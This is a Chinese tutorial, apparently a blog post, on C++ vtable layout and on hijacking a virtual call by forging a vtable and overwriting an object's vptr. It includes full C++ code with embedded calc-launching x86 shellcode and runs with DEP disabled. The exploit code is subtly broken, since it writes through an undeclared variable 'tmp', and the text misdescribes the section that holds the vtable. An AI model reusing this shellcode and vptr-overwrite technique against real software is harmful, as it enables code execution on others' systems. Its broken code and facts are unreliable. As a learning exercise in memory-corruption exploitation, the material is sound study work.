智能摘要 AI
C++中虚函数通过虚函数表(vtable)实现多态,每个含虚函数的类对象在内存起始处有一个指向vtable的指针(vptr)。vtable存储类中所有虚函数的指针,用于查找实际调用的函数。虚函数表位于`.data`段,只读不可修改。调试时可通过x32dbg查看对象地址和虚表地址,发现vptr指向真实的虚表地址。实验中伪造虚表并修改对象的vptr使其指向伪造虚表,从而劫持函数调用。实验代码中包含弹出计算器的shellcode,但未处理壳代码不可执行的问题,实验中已关闭DEP以绕过此限制。
虚函数表
C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。
每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。
虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。
借用网上的一张图
特性
总结下虚函数表的特性:
- 虚函数表在
.data段,仅可读,无法修改 - 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。
- 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,
调试
下面调试一下,环境 VS2019 + x32dbg:
代码:
#include <iostream>
#include <Windows.h>
using namespace std;
class A {
public :
virtual int hijackme() {
return 1;
}
};
int main() {
char msg[128];
A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);
sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;
system("pause");
return 0;
}x32dbg 里看内存
0x014FD028 是 vptr ,指向虚函数表。
0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。
对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。
试验一下。
要在内存中伪造出一个虚表,将对象的虚表指针指向它。
修改代码
#include <iostream>
#include <Windows.h>
using namespace std;
class A {
public :
virtual int hijackme() {
return 1;
}
};
// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";
int main() {
char msg[128];
A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );
sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;
system("pause");
char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode
sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;
sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;
system("pause");
long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表
system("pause");
a->hijackme();
return 0;
}重新执行
在 0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020 。
0x00535020 是 shellcode
这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。
应该就可以执行 shellcode 了。






评论 (0)